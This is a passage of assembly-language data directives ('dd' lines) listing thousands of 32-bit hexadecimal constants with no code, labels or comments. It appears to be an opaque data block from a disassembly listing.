		dd 6F572723h, 97EC6752h, 8ACF9C49h, 0C96480F9h,	2E6533C6h
		dd 1B13158Ch, 842D16E1h, 0B4C33000h, 58F52EEBh,	80526A43h
		dd 265851EBh, 4B62AB50h, 3B03F12Dh, 0D81C35F7h,	29762342h
		dd 0A6DDDE35h, 5518D18Ah, 2DD969F7h, 6EF95B09h,	0A7473C1h
		dd 29691BAFh, 69159C7Bh, 0AA404AC9h, 35B5B904h,	0C4861C1Fh
		dd 0D594FDB7h, 0E723F8AEh, 61F252Ch, 0BC4CA5DCh, 0D13D6CECh
		dd 0AF42CA70h, 3AB0D82Ah, 1F37512Dh, 3E2C0293h,	9690C2B4h
		dd 0BB982D56h, 8A761382h, 0DE033A73h, 8408B507h, 15AA6BAAh
		dd 0A95448C4h, 9109A52Bh, 11D364A7h, 0AD20295Fh, 62BE4009h
		dd 0F926B04Ah, 9673291Bh, 30659789h, 0EC098BC1h, 29655B32h
		dd 329190F9h, 3C987800h, 5C3E8E06h, 5E5FEDC0h, 64ED42F3h
		dd 0DB247A93h, 7BD3E368h, 9E280FDh, 9D828E23h, 17669D26h
		dd 0A31EE02Bh, 70D93C90h, 0E4642541h, 4EFED2F1h, 0D3CF7C26h
		dd 5F1D88F0h, 762FE986h, 23F0B9B8h, 20B47A52h, 0FF1C613Dh
		dd 0E4D41E3Eh, 0EFA2ED3Ah, 74F0392Dh, 0B3833079h, 7C533F26h
		dd 0ECD6FFF1h, 0C83954FDh, 0D61FD383h, 11D87748h, 0A7328F9Ch
		dd 1AD1AACDh, 0F0308C8Bh, 394B110Dh, 30C60AB2h,	90C90572h
		dd 1BBA1382h, 0C052E4E2h, 0BCECAF48h, 23E547D5h, 66D43125h
		dd 93389066h, 952A2333h, 7EBC8DB4h, 77AF2254h, 0C805F548h
		dd 0D3D77D9Fh, 5B8EFD9Ah, 4D140AAFh, 0C19D6E4Eh, 5F15098Ch
		dd 9C8F6595h, 0ACCC2521h, 0B403A1E1h, 0DADD844Fh, 9657E298h
		dd 8CB23B69h, 110FF8B6h, 0DD2FB702h, 334657FBh,	448FAD3Fh
		dd 7D622F50h, 1B8EAEC4h, 0A8735C3h, 972648DDh, 1E66C524h
		dd 0BE0B8563h, 501FB116h, 6619AAFBh, 8BC0F3C5h,	7BBEAD2Eh
		dd 0D0A1D15Fh, 2BADCA55h, 3ECEF6CBh, 45AD8E0Bh,	0C5683416h
		dd 0C7F88F7Fh, 0E804B0AAh, 0F801ABC3h, 6C868E43h, 724275B1h
		dd 0AD2D545Ch, 83EFABC2h, 70938BDAh, 8479A5BBh,	1C229548h
		dd 0EBF6259Ch, 4D6CD1D0h, 0D2254F99h, 3C2C68F0h, 0A7FE2D93h
		dd 0D757730Dh, 7F34183Dh, 0A11F90C6h, 31940208h, 0AC1079FFh
		dd 0C0901433h, 8AE0B48Bh, 0F351A17h, 0C5338954h, 8E874930h
		dd 7800AEB0h, 0B939400Eh, 58F92D84h, 0ADB3C4A7h, 5EC1839Bh
		dd 2335BFCCh, 23838DC7h, 0F056FA62h, 8B96AD97h,	96C683A2h
		dd 97FC139Ch, 601EB1C7h, 0F3C90915h, 2C3C6C8Eh,	0FBA2ADB1h
		dd 86F86061h, 72AF3B21h, 9744BA55h, 5EB97A4Fh, 39D7663Bh
		dd 0B4D732Ch, 21BF2101h, 76EA2C9Dh, 0D6E62556h,	0A08533CCh
		dd 7E84EA2h, 57DC0093h,	29691706h, 4B5632DFh, 0A7C543D2h
		dd 2CA10AE7h, 0D603A276h, 0BC8D3E6h, 0C49282D1h, 0B5A8372Ah
		dd 0A8875C30h, 0AEBD1B01h, 0B3BD1D3Ch, 36D53CCCh, 0CF983340h
		dd 534D06BAh, 616E312Eh, 0E81387C5h, 0FFAF0852h, 7D40B4BAh
		dd 0B5D4C846h, 3459A364h, 0D10FA499h, 0BE2D5E84h, 213AD9A4h
		dd 60E0FD3Bh, 1DCB73Ch,	996C45CCh, 0FAFD0661h, 2F981F13h
		dd 276F1F5h, 7BBBC984h
		dd 0F77944BFh, 0CF78F7B1h, 0E2AC58F6h, 952109B1h, 0B8A333A2h
		dd 0F330A2C3h, 3D766A7Fh, 0CB1807F5h, 5A5D981Dh, 0DA30F0EDh
		dd 6E85CD0Fh, 0B1B285DCh, 6E8B24F2h, 47055A03h,	18CAA5E3h
		dd 69F3C585h, 0EBC2F0Eh, 7D3BD126h, 0A494B008h,	0FB751Dh
		dd 776536E3h, 61099F84h, 0D37BE1F2h, 0E9106E00h, 8DF6A0D0h
		dd 0BC823DE4h, 14AA3451h, 1B0AAB7Ch, 8D3A3772h,	34D2A851h
		dd 0ECDCEFEh, 9844F507h, 797CFDC6h, 4DFC6DF0h, 187A680Eh
		dd 922AB9D8h, 73161324h, 0E56F5133h, 0EB52C161h, 6ED82C03h
		dd 9324F305h, 0A968DE72h, 0E92E5FACh, 7966F4BFh, 7DADB35Eh
		dd 8CCA555Eh, 0EF170398h, 5576A343h, 1DE15BDBh,	0AB201E8Dh
		dd 0F57DD904h, 0BF7B11B9h, 8CCC457Fh, 0E635B68Ah, 5E9953D9h
		dd 0E83A651Fh, 0ABEA1ACEh, 85D18B05h, 6E185CBFh, 10FF557Ah
		dd 0ADA2AA29h, 0C17056ADh, 7541104Fh, 1988F9FBh, 0C6469EBBh
		dd 1B28792Ah, 0E2345B65h, 0BD18983Dh, 2EAE9D59h, 0B3904A72h
		dd 0C5A9975Ah, 0FABF073h, 0AB8F9F79h, 0AA0B570Ch, 59EDD1ABh
		dd 2B9607CEh, 0C34BADDBh, 0C6641114h, 6F444606h, 22D219Dh
		dd 1AB9EB7h, 5421B585h,	84BFCA0Dh, 52BFDACEh, 0C90C0649h
		dd 0C969ED6Dh, 1DAC20ECh, 0ACE2C087h, 6B7CA4B1h, 0A20B3DF2h
		dd 55D21BFAh, 0E95CA056h, 0FD7CFF85h, 0FD9EED32h, 0A1CB9B27h
		dd 859C6961h, 0F572194Ah, 0D8E7CA4h, 13F5AF93h,	0A6EFD472h
		dd 0E81B66F3h, 0E009473Dh, 299B344Dh, 8EBA2293h, 0D0ACC8C6h
		dd 7B905DE8h, 189D1AB9h, 0B4C04E1Bh, 0BFC1E9E3h, 1C9D231Fh
		dd 70D6CB61h, 544B1647h, 0DFA99FDBh, 65CE82D7h,	0AC037317h
		dd 0F4DB4CFFh, 0C4D942D7h, 8FBD36E9h, 0AC3A8209h, 0D0AD5103h
		dd 7E234201h, 5ABAFF12h, 69EFE864h, 5391ADD2h, 0DAAD704Eh
		dd 4899FC0Eh, 2D4230CDh, 3FA7C0ADh, 0B0F89FABh,	0FFFA6F60h
		dd 39AB064Dh, 439813B7h, 141EDE22h, 7FC46847h, 0F334A0BCh
		dd 441BA1B4h, 0E0DE97E7h, 0C58085BCh, 7262CB71h, 0D88839C2h
		dd 0FFF1C193h, 0A1C8AF1Ch, 824B3463h, 2A0FC43Ch, 3DB3EC55h
		dd 2862FBDDh, 88814114h, 19774CE0h, 793A6E37h, 5309F621h
		dd 0DE0A91BCh, 61B49600h, 0EC25E740h, 71BE7369h, 863BA2E9h
		dd 51A686FEh, 96109E8Ah, 172139C4h, 0FED4414Bh,	4EFC3938h
		dd 34AAA71Dh, 45A00321h, 0A8811A53h, 912E21E7h,	31F2535Bh
		dd 572910Bh, 0C5835F1Fh, 6BC18D3Dh, 48DA7C23h, 3B20E6ACh
		dd 0B8F1829Fh, 0AA09ACA1h, 90774C42h, 0F158D2E1h, 0A606E216h
		dd 3809BECEh, 8A391B0Ah, 7C2F4187h, 0BB17285h, 0C1E14584h
		dd 1B3FFDD0h, 761F7025h, 0D013E627h, 0E4492698h, 366D1488h
		dd 69C97DC8h, 0F7D5D415h, 0E7CF40D9h, 0A7D658B8h, 294F30E2h
		dd 11452AE9h, 93E3B5A3h, 8A3F79Dh, 448DA872h, 6C2F64B3h
		dd 0A66A3F7h, 9677C236h, 0D4BFE7A2h, 0E325ECAFh, 627753D6h
		dd 0DE42FB2Bh, 0B22A6595h, 0A2183B9Fh, 45E82A83h, 0B48B10AFh
		dd 0D4710DE9h, 0E57F1731h, 0D12F7205h, 31B35661h, 86653EE2h
		dd 7F0C62D4h, 857DB55Dh, 0EFADAD51h, 3E739370h,	6530205h
		dd 3F805986h, 0D15BDCE3h, 382B2CDAh, 0A3628B34h, 77DA4E70h
		dd 5298ABA5h, 58C509FFh, 0EDF3D937h, 84CF51F2h,	1ED0ED90h
		dd 749C9FFDh, 0AD56DB95h, 0B1AE3520h, 0D5E2B164h, 92410C23h
		dd 1D299D04h, 0BBE65353h, 0F51A8B0Ch, 99EE236Ch, 0EA87D271h
		dd 0F6A712F2h, 7ABC0632h, 4235B0h, 33A7A940h, 788457BDh
		dd 349E9AC5h, 0ADA8E99Ch, 0BF47FC81h, 0A2006BC2h, 3A2F8765h
		dd 5778D699h, 0F1532FB7h, 0CC4FAECAh, 0EF805D21h, 273A4AA4h
		dd 0E6B05926h, 0CD9B0EE9h, 2875021h, 765B4218h,	48DE3A88h
		dd 4D707721h, 25DFBFA7h, 781F20CEh, 0ACF693EAh,	0D7FFE008h
		dd 7B30BB57h, 7909CF7Eh, 62FC4336h, 145C7DFAh, 6CE08B9h
		dd 0BC28C9B1h, 0D5731A21h, 6C1BE968h, 0E5EA2925h, 8F7DEF47h
		dd 0AECC793Fh, 0C1D79888h, 0AC379DAAh, 0D9269A2Ah, 0CC63F23h
		dd 6A161D2Dh, 7324C28Ah, 43C54611h, 0E7FAEBCh, 0ACAC258Bh
		dd 0BA9A45F3h, 50F80CA3h, 6DF8A8F5h, 18B64C5Eh,	85B2C4FCh
		dd 0ED63322Ah, 97B99C01h, 0CDD2428Dh, 1554E1F0h, 0F2104F07h
		dd 0BC06C986h, 1BE393h,	9BF2200h, 0A8127BB4h, 734B0251h
		dd 5003D99Eh, 7DB3B421h, 0FA29C83Ch, 9BDEA27Ch,	0CB703AA4h
		dd 2392DE54h, 0F94346EAh, 2424EF4Fh, 0EBA4B3B0h, 6179FDB5h
		dd 57046002h, 0C03A424Fh, 870F9C35h, 9AA58E4h, 31B0F7B3h
		dd 53A9C16h, 7B8941C0h,	65262BDEh, 2B835628h, 0D4132A20h
		dd 58C5554Eh, 66F4E387h, 77A17421h, 0E1E3D740h,	56F58519h
		dd 0D35CCA7Dh, 62A9453Fh, 4172E8Bh, 0EDFA2E6h, 0BF51148Ah
		dd 0EC93B4D0h, 1F7EB265h, 0ED8740E5h, 0ED88AEA2h, 7AA0FA8Fh
		dd 0E6F778CEh, 820A91F2h, 9BE0FF86h, 19003B6Eh,	69676662h
		dd 0EDBCC6C9h, 0FE562150h, 0FF002154h, 0CA721C6Dh, 700F9E25h
		dd 9F8AFA69h, 0FB6C94BEh, 1E8B089Bh, 0F59E120Fh, 6BEEC64Fh
		dd 4F898D23h, 839BAAB0h, 5D576C54h, 27D462A2h, 87B563E4h
		dd 9418060Dh, 0BC4FF918h, 71A612C3h, 34E07335h,	1C635D1Ah
		dd 0E081807h, 5339789Eh, 274AF08Ch, 74B4203Dh, 2D97637Ah
		dd 2443ACDEh, 0CCBB056Eh, 1F2EAF99h, 1D4E7E4Ch,	452F14F9h
		dd 2ACCE60Ch, 209F4D35h, 0D62988E5h, 0E0CAA850h, 891C2154h
		dd 0DF9D4F45h, 0ED3D8586h, 0E4C72B42h, 9ADAAA09h, 648283D4h
		dd 0D21705A1h, 6C67AFC7h, 0DD59176Ah, 550DFF7Dh, 4DD78DBBh
		dd 0AB08BBAFh, 119A53D9h, 66D7E5CCh, 5E472280h,	0BDF4698Eh
		dd 0B7110140h, 0E1C2B754h, 0CB775EDCh, 1FC51F39h, 0C8B41F64h
		dd 0CB082119h, 202A267Fh, 0F47D82h, 38FD5F4Fh, 0A3BCDBB3h
		dd 0C9B8BDFBh, 338FACC3h, 7E6EC04Eh, 2AA63A6Eh,	2D4DFB3Bh
		dd 7320905Ch, 0D436204Ch, 2D885299h, 0AD4D83C2h, 0A7258C83h
		dd 199C89BBh, 0BC39BE34h, 0F7FAA220h, 7133AB0Ch, 6505E9A0h
		dd 7699DA3Ah, 24836B55h, 0EE74B078h, 0D459B309h, 0E631C9DDh
		dd 73195894h, 3FED1FCCh, 91340BBBh, 0C2390418h,	4C8E69BCh
		dd 472EABC7h, 5798010Ch, 0A7052264h, 95005903h,	0D7BF28F6h
		dd 108741EDh, 0A3B37C15h, 0E3A2458Ch, 9A706D7Ah, 6F477990h
		dd 809868B4h, 0B8256A3Dh, 0F7118F31h, 7B0E3DD9h, 4E27D5FFh
		dd 54942E90h, 84996C65h, 0E5E50A50h, 6EADC1E1h,	0F32FA5F8h
		dd 9816CEDEh, 4C3D0421h, 0A4AD9DCDh, 0F85E83Fh,	0E267AA1Dh
		dd 32FFF8Bh, 682882Bh, 0CAB14668h, 2B5DE62Eh, 4110CD23h
		dd 3E32E12Dh, 0DE0E9628h, 44263B7Eh, 0ADEEA415h, 0C0C753E8h
		dd 468CD4F3h, 967ADD05h, 3D880964h, 0BCD1E4EDh,	0DDF39512h
		dd 0A80E9EF6h, 75D5B6BBh, 29D20E84h, 1E34187Fh,	69249653h
		dd 756B433Dh, 66D318A8h, 8BAEDE0Fh, 9A802D5h, 5EA5AD40h
		dd 0C4D73D99h, 75181786h, 2C7D941h, 0C4762239h,	7950C2B0h
		dd 5F1C119h, 57C749A8h,	0A28497Eh, 4D99E7D4h, 0A025A7DAh
		dd 75462FFBh, 469E6849h, 58E35209h, 96E7A0D1h, 4A73F37Ah
		dd 88089145h, 0F5BC3205h, 1DE5D9EBh, 5A6FAEEDh,	73B49614h
		dd 0B6C3096Ch, 28079EF0h, 36D3643h, 0EB41F2DFh,	0D6644FDBh
		dd 8173FBC5h, 5E07F040h, 0B4A4C83Bh, 0C4E203EFh, 563B33E4h
		dd 65763531h, 0B2896513h, 0E1C4E49Bh, 935E785Eh, 0DC4A55EDh
		dd 0E59D3DE3h, 9A57ED48h, 0F6564959h, 0B63833C2h, 0B399D128h
		dd 4108715h, 0B2BA2F91h
		dd 37FC60F0h, 21DA5AC1h, 0CCCEAA5Bh, 7A23B4E2h,	462895B6h
		dd 7CFCA90Fh, 309AFBDEh, 8FC0562Eh, 8183F385h, 65C365C0h
		dd 7CD8F34h, 0C91A336Bh, 5CFC3A1Bh, 0B3E7EF1Ch,	0FB55311h
		dd 5E477D68h, 0BFA5C53Eh, 10A529BFh, 0AED4262Dh, 0C55B72C3h
		dd 0E50CD1A1h, 0BC32B4F7h, 3D4E4389h, 8C67323Fh, 4B5A310Eh
		dd 0C2DA7F60h, 10409652h, 0CECBE157h, 662DF7C5h, 9C19A695h
		dd 0D8D0507Fh, 0DEB0800Bh, 8D3BC360h, 0ACEBB86Dh, 93F2C49Eh
		dd 59126AC1h, 0A885B02Dh, 1BE3FA5Ch, 9558D496h,	442A3C47h
		dd 6B29123Ah, 34506BC4h, 8D94D012h, 0B131E32Dh,	5E76625Dh
		dd 4C941C86h, 0C5226385h, 0B0F5D1A2h, 9F4EDE5Dh, 0A3502F20h
		dd 0E1A47D0h, 3AC18D97h, 31D34376h, 640DE1E7h, 0F27E5E98h
		dd 44B8C16Ah, 3AEE01F7h, 0EDFA4D2Fh, 4E8DAE7Fh,	0F923F229h
		dd 0C933CBE3h, 1F235B33h, 0B722BD1h, 0A026D625h, 0F63077DAh
		dd 0A24C658Eh, 6A8C22FCh, 0F531C826h, 528E2171h, 4CFEC32Dh
		dd 0D7C2993Ch, 9F1BD98Eh, 0D63AD0A9h, 0E8B3F3B4h, 0C72FA51Dh
		dd 775234B0h, 40779617h, 7BB5D73Fh, 40A03E7Dh, 622E291h
		dd 8A396975h, 61699EF1h, 0B9AFBB8Bh, 1DF5C3F2h,	2F02AF07h
		dd 809385D6h, 9EFDA0D4h, 0DCA7CFB6h, 0CF9137C6h, 3DE39692h
		dd 0E8BF0780h, 0B42E4517h, 0B66CA6A9h, 987B4947h, 100BB604h
		dd 0B1FC9B12h, 30176019h, 0ACDF2D7h, 83A59659h,	0E3398B52h
		dd 0CA245BE5h, 4301A193h, 49FEE095h, 0ACA188F0h, 9F9A6248h
		dd 87DB36B9h, 53062CD4h, 504CD789h, 0B4FBEDB0h,	5B5192DEh
		dd 6AFB4B78h, 43E20B0h,	0C2EF5F5Ah, 979721E7h, 62ECF109h
		dd 56CFD1F9h, 1434D512h, 0D867E40Bh, 77FB14F5h,	0C00E2D6Fh
		dd 860227FCh, 956F6BE4h, 0FD4D1D9Eh, 8D740B0Ch,	6E01EB86h
		dd 520D822Dh, 7A9A7AC0h, 13167837h, 98012F92h, 0CFFC78CFh
		dd 0BD1C55BAh, 0BC9DDAA9h, 0C8815323h, 7CD70E4Bh, 32441559h
		dd 6B1704CEh, 623B311Ch, 8F8C07BFh, 0D63F6219h,	3CFDB405h
		dd 0FE7B2B6Ah, 0F553F363h, 81BD5EEFh, 0EA06347Ch, 4AFE081Ah
		dd 0ECECDBACh, 506D890Eh, 6A982508h, 0A2D5AC5Fh, 0CA10736Bh
		dd 4F28D0DAh, 503FEEACh, 0B6E10D66h, 1925204Bh,	0B8A8D7CAh
		dd 439E39E1h, 0D861DACBh, 38CE67C6h, 0DF9D5CFEh, 0B07BEDF2h
		dd 0B1CD9B0Ch, 0C7B8D3B4h, 0F3328A52h, 1B9C11D9h, 0D46D8A19h
		dd 28F5531h, 27E5340Ah,	9A089C58h, 9EF48E24h, 0C99A57FBh
		dd 5AA9A563h, 0D64C9E49h, 0A687A4D9h, 0C5344513h, 2EF8520Ah
		dd 995F73C5h, 0F39981B8h, 81A4745Dh, 0A0DA71C0h, 0F2CD9EFBh
		dd 0B9910352h, 9A4C0C07h, 92CECCB8h, 1EDCACD3h,	0C973676Bh
		dd 13EF6EF1h, 0E4C0939Eh, 0AB14B431h, 9EF6DEE0h, 625862D4h
		dd 8A2D9B9h, 496E597Ah,	0EAEFBCE3h, 3EC71968h, 0BC05ADD6h
		dd 3AF1371Eh, 67E339B5h, 58F0A856h, 0B07052F4h,	0A3054AC9h
		dd 80E40958h, 8E2B8800h, 11DA7296h, 0BC93F47Dh,	0FCEFF1B5h
		dd 754C419Bh, 76484BBBh, 53584026h, 60DAB381h, 21758633h
		dd 51985D4h, 0E9949237h, 8059C4FCh, 0BA5418h, 0CE516A41h
		dd 0EDF264FCh, 0F755CAA7h, 65556911h, 33C43139h, 13E653E1h
		dd 0F202C58Ah, 6D484825h, 0F5D10BEBh, 6DC32401h, 0DD6EDB8Eh
		dd 13B08658h, 2C69C84Dh, 90323A08h, 22B53304h, 44D9A37Dh
		dd 61E8095Ch, 0B714CF1Fh, 618DAB5Dh, 841E8DA4h,	5E4405FDh
		dd 0D9BCE77Bh, 37768AEh, 0E4158C0Eh, 559F7BDEh,	4393A228h
		dd 3FB23D0Dh, 3EB588EFh, 1CBC745Eh, 22F450CBh, 1169DC16h
		dd 0CAB3055Ch, 1D1B3FBBh, 0F1BFC9B1h, 3C209167h, 23121A81h
		dd 0EF3A4BD3h, 410F16A3h, 6102DBEBh, 98CB54D1h,	0C82750A0h
		dd 0F583289Eh, 2CDCE7F3h, 7BF9C64Bh, 6AA3F87h, 0B6B30843h
		dd 0D12D9A03h, 1C1C79F1h, 95113092h, 52B72F28h,	0C1DEB654h
		dd 673552Bh, 0CB6D2964h, 0BD968879h, 9248DA09h,	0C73119BBh
		dd 8F4FD547h, 0C47E9F6Ah, 0BDC95CF9h, 0F543A249h, 0B675AE65h
		dd 6DE3E87Ch, 0EAAF5E71h, 6FB98ABBh, 0F659831Bh, 0F7F573B8h
		dd 0F3E6CFA9h, 19EB81C1h, 6F45B9ABh, 0AAA733FDh, 0A45E5FAFh
		dd 3D0EF871h, 0EC9D33F7h, 5A2C8226h, 6E6870A6h,	0BFFD79FDh
		dd 0AB1AC748h, 52A1D35Eh, 39780479h, 0ECC3E015h, 324A8F63h
		dd 81BDA8BCh, 0BC1B6CABh, 0B911F3A0h, 0A1172990h, 5128A04Eh
		dd 797B21A0h, 0F7B62429h, 0C0CC53DEh, 0AB634BF6h, 0DC66AB8Bh
		dd 50AEF474h, 0C2616C3Ah, 5FDD5BEFh, 0BED1AB99h, 6B2B5124h
		dd 19F59005h, 2FB68AAFh, 9396D5F8h, 0FD21AA1Bh,	0D11AA8C7h
		dd 503E371Fh, 6D8C101Dh, 66C4FC2Ah, 4BD6DDE6h, 0FB12060Fh
		dd 3D430C6h, 615741h, 0B3A1BDD0h, 9E9443BAh, 39AA015Ch
		dd 9771DCE9h, 0F3670507h, 4F760B1Dh, 365B4F3Dh,	0D54BBA77h
		dd 0CD4CC75Ah, 0A4263016h, 88A73467h, 5FEB9DC5h, 3C874E9Ch
		dd 7204AA5Bh, 6F1B0444h, 0C7FDC65Bh, 0FBEF9918h, 889944BAh
		dd 0C1F7F832h, 0F244A8A2h, 549F01EFh, 0DE4A96Ah, 0BBC81563h
		dd 0A2D0C31Ch, 93CFFF4h, 0D174FAE7h, 341CB3FCh,	0DA69F0DBh
		dd 0A96E4BC9h, 3AEBBEA8h, 14B3BE63h, 67526B0Eh,	653EE297h
		dd 310B5108h, 0E159CB79h, 5DECBEF4h, 25B30853h,	5EE3C833h
		dd 0DAA68049h, 806A20A9h, 929F4BB2h, 0A35E5A23h, 82D01291h
		dd 30BC745Dh, 1F636787h, 0A3E7E562h, 379907B7h,	0B829EF0Ah
		dd 0BF0BFEECh, 104CA0C9h, 0E85ACAAh, 256D124Ah,	1B489D0h
		dd 9D4B7775h, 0D77C3F61h, 0CEAF03D0h, 299795F3h, 64B2D460h
		dd 35D4A731h, 9D19331Fh, 0DF7F3BA4h, 0CA595DA1h, 0CC457321h
		dd 299EE195h, 597F509Dh, 7354EB8Dh, 8D611827h, 5EF65F18h
		dd 144A578Eh, 0ED32D2E1h, 63F43EBCh, 46732BBFh,	13F286Fh
		dd 8A4DA836h, 52134A93h, 85BEB63Dh, 4550AA28h, 3AA7E8F2h
		dd 2CC52018h, 0BD925A14h, 77EAE93Fh, 5B351F88h,	0DC44E803h
		dd 72BAAD6Fh, 0D9B4FC35h, 5D054F98h, 0E2E60C05h, 0C0411793h
		dd 8B6B3D8Bh, 0B7E40D1Dh, 3E52688Bh, 8E5523E1h,	1675DA97h
		dd 47A3172Dh, 9DD969CDh, 0D3E8AAC3h, 7C4E653Ah,	0BCDEC6D1h
		dd 8C202A38h, 0D66AD6EFh, 73D4756Eh, 449CE83h, 0E5F12A32h
		dd 67390030h, 0E39CB905h, 0CD4B68D5h, 9375D4D8h, 607D2037h
		dd 0DCFBD46Eh, 2D9EC5E3h, 151DBEF6h, 0BF52F07Fh, 5C39B4B7h
		dd 0F939EA2Eh, 632B08ADh, 0C36FA4EDh, 1110A278h, 0A650F001h
		dd 868ED584h, 0D570033Bh, 81BC731h, 0EAC7625Fh,	0F674F30Fh
		dd 20C23892h, 0C548A3ECh, 50000FD3h, 28C21389h,	3B337D22h
		dd 0F00E0A0h, 7E766BAFh, 0AA4A06AAh, 0CDCFDDA1h, 0ACB0DF22h
		dd 51E6786Bh, 0D7555CB4h, 0DBFA1933h, 82E03DA4h, 530A400Ah
		dd 3BC4C868h, 0A83D4B59h, 870E97Dh, 22AE1352h, 6BF416E3h
		dd 695D1732h, 98A12413h, 49946FFh, 0B02BC9F9h, 7CAEC568h
		dd 6D88DD82h, 31010184h, 23CF02E8h, 0BBC11465h,	6B677F2Dh
		dd 0AA0E1E99h, 0DB436A12h, 0E80C2E54h, 0A9A30573h, 8B2C885Dh
		dd 0EEF5C767h, 0C984E6E5h, 423D3891h, 0B044114Eh, 516451C9h
		dd 0AB3CFC18h, 822D0125h, 0E016F1E5h, 0B738B23Ah, 0D2C744CDh
		dd 0D9725D8Fh, 0F8A8922Ah, 0FBDBCE12h, 996335A0h, 194469C5h
		dd 8B9E11C6h, 8F0B52C9h, 1F1761ACh, 33483C51h, 0F99170B2h
		dd 0D43BEA0Eh, 75DEC9D0h, 0D25B8C53h, 0FD4A96B0h, 82A9FC0Eh
		dd 99068EBCh, 7524840Bh, 2429C206h, 52ABD934h, 3D0E9115h
		dd 0ADCF8A0Fh, 0FAFAE673h
		dd 0E2262E98h, 7F4BE7A2h, 4084835Dh, 4D49C9D0h,	0DB059A5Eh
		dd 4D146B1Fh, 1946C8A7h, 949E7C19h, 0B9338B80h,	2CD40FA4h
		dd 850A9127h, 9CDFEAEDh, 342E56A3h, 0B5AA2DA7h,	0E9A955EEh
		dd 6ACBC337h, 0BC6C5873h, 6EFD0DD7h, 0F537CD1Dh, 0D381A4CFh
		dd 62CF5471h, 0F37080C5h, 7A21C76Fh, 79E3408Eh,	0C0B75FBCh
		dd 7ECF5BD9h, 0B8A24285h, 30AFF802h, 0AC7E81ECh, 0ADEA54Dh
		dd 0D9B68D96h, 829C1FC3h, 51D059B2h, 513CF283h,	0E58BBEA9h
		dd 0EF5943Ah, 0CA56F2B8h, 7FB05B73h, 0F3237C7Bh, 9F09254Ah
		dd 0F1B8FD11h, 5E8769B2h, 0EFA387E0h, 0ECAC3AB8h, 0AF879E0Ah
		dd 27A31757h, 8D9F288Dh, 5FBC9A0Bh, 0FEEF8E65h,	76195C2Ah
		dd 4CEBB8F5h, 9A162144h, 0C141A215h, 3B495664h,	95811C98h
		dd 425B1E33h, 7B984071h, 0B52E280Dh, 0BD603B5Dh, 0E69C19FFh
		dd 5ADC1355h, 0E6EEF00Dh, 0ECDAE929h, 0F6EE8D79h, 0CDC87EF1h
		dd 634EE2E7h, 439BCA0Eh, 0ECA09D0Ah, 9587069Fh,	4E9BB960h
		dd 395247DEh, 0DE2FB04Fh, 0AB7E4D0h, 50E391B8h,	8D4BC29Dh
		dd 0C1F4CB3Fh, 0EA362380h, 4B12A347h, 3E72C9BFh, 0C6DA0C82h
		dd 0FC7DBAh, 4606E8E3h,	12907327h, 0BBCACAF0h, 0DCFD0EF3h
		dd 0F0F4B448h, 0F19FA91Ah, 0D581DFDFh, 50B17D17h, 6C94D3F5h
		dd 0D808D5BBh, 12202478h, 6E9C1016h, 3866C36Ah,	6D95F40Ah
		dd 0D8DB9980h, 7D3D9F4Bh, 9D93933Ah, 3C5A12D3h,	0CB4F8640h
		dd 90C2327h, 44BB4B6Eh,	0E4F290F9h, 0ACFF6F65h,	4FD257E3h
		dd 0E8F01505h, 0C744C704h, 66E6FA38h, 0D310ED34h, 831CA9F6h
		dd 7DD26747h, 0C28A48AEh, 0A23B474Fh, 0D222D903h, 90896BA6h
		dd 91C26105h, 0FD865C89h, 84D2B378h, 9F3F60A5h,	4E9C4554h
		dd 335EA903h, 0CD142475h, 0E1F10994h, 0EED2202Eh, 7C81A8F4h
		dd 9700D8BEh, 6ED53BF7h, 0FB5E7668h, 0FCC77CAh,	0DF4D4BF3h
		dd 0B91F0D2Bh, 0B7E774A9h, 0CB3B8929h, 3BCA1A48h, 6AB735C3h
		dd 0BC488890h, 0ED46F7A4h, 886C5395h, 0C0BD1BF6h, 6989D8E8h
		dd 224E4077h, 950B1DD9h, 9D9C7DFDh, 1B7804A5h, 4E08D042h
		dd 0AA526949h, 999F815Ah, 38411F9Bh, 54C1F3A2h,	0EEDE3A96h
		dd 41943912h, 51A86936h, 1CED8251h, 85D559E4h, 0BD42956Bh
		dd 0D79481D7h, 65588CBBh, 1FD4DF63h, 94CDCEA1h,	98FC32E6h
		dd 0BD2C803Ah, 0CC7B8864h, 0E12AEDD0h, 8FD209F9h, 81E68431h
		dd 769B23BDh, 736AD625h, 0B1130D0Eh, 63891122h,	96C0E98h
		dd 0FDFE0F6h, 797E3287h, 8DACD232h, 13B820A7h, 0AD1E15CCh
		dd 67B8A8B4h, 2D22F1ADh, 0F8BF9C9Fh, 0B3CFF809h, 105BEB9Fh
		dd 3B6FF47Fh, 5ED03FDFh, 13B612FCh, 6C819F26h, 69A9C6DEh
		dd 4104DF35h, 2AC69ADFh, 3A575F85h, 67CC882Eh, 323816ADh
		dd 915801CDh, 0A39E742Ah, 46E7F4E6h, 84248BE3h,	4C128BC3h
		dd 1E2912D6h, 0E50A2968h, 0A80D077Eh, 3CAD3903h, 0D793CF4Fh
		dd 36DD0B17h, 0BD4CC08Fh, 89467FA4h, 0A3A4B4Bh,	0EDA418D5h
		dd 0B58AE0FBh, 0C50D1085h, 559B47FAh, 1511D84h,	2CF9C782h
		dd 87386322h, 53F1A5DEh, 0E2076A0Eh, 0EA1A1E59h, 7FE85353h
		dd 0BAA48A2Ah, 250FB400h, 86E6CCA8h, 0AAD8C53Dh, 92C7F3B9h
		dd 954F3717h, 0BBCF269Eh, 68561336h, 58250AE2h,	86DB6BA0h
		dd 3F5DA59Ah, 3DCB0A23h, 0E7690FD1h, 0E52BFB73h, 949DE70Bh
		dd 1A66B4C0h, 9FF7EF69h, 0C9C07FF4h, 9CF306A4h,	9282A96h
		dd 8867DE09h, 26A6B628h, 4ED59B76h, 7C5A78D0h, 88AA6811h
		dd 7D76E0D7h, 0BE36B1B6h, 0C7828234h, 55DFB149h, 6883A5FDh
		dd 0B94592AAh, 0E0AB304h, 9C5533BAh, 204DE17Bh,	7BD514F9h
		dd 1D1AB3CFh, 4BD613A1h, 0E2B6E71Ch, 17EDA27Ch,	0CF16D3D7h
		dd 42AACDD2h, 7B87A24h,	5F98A2EEh, 55793A5h, 65DD13FFh
		dd 0E104025Bh, 9D2FFF84h, 9BDF70BEh, 9193F32Fh,	1211F124h
		dd 6DFE7764h, 7198080h,	5FCDCA42h, 0CADDCC6Ah, 0E0D723A6h
		dd 27D39D7Ch, 0B0A8EB8Dh, 1B28A06h, 1A170282h, 0EADFEF99h
		dd 0EFBF1C7Bh, 51DC3907h, 10142734h, 3886EACh, 0DF885DE8h
		dd 7AA48F6Fh, 75B6D0E8h, 6EE09B5Ch, 1CFE2179h, 0BC292B69h
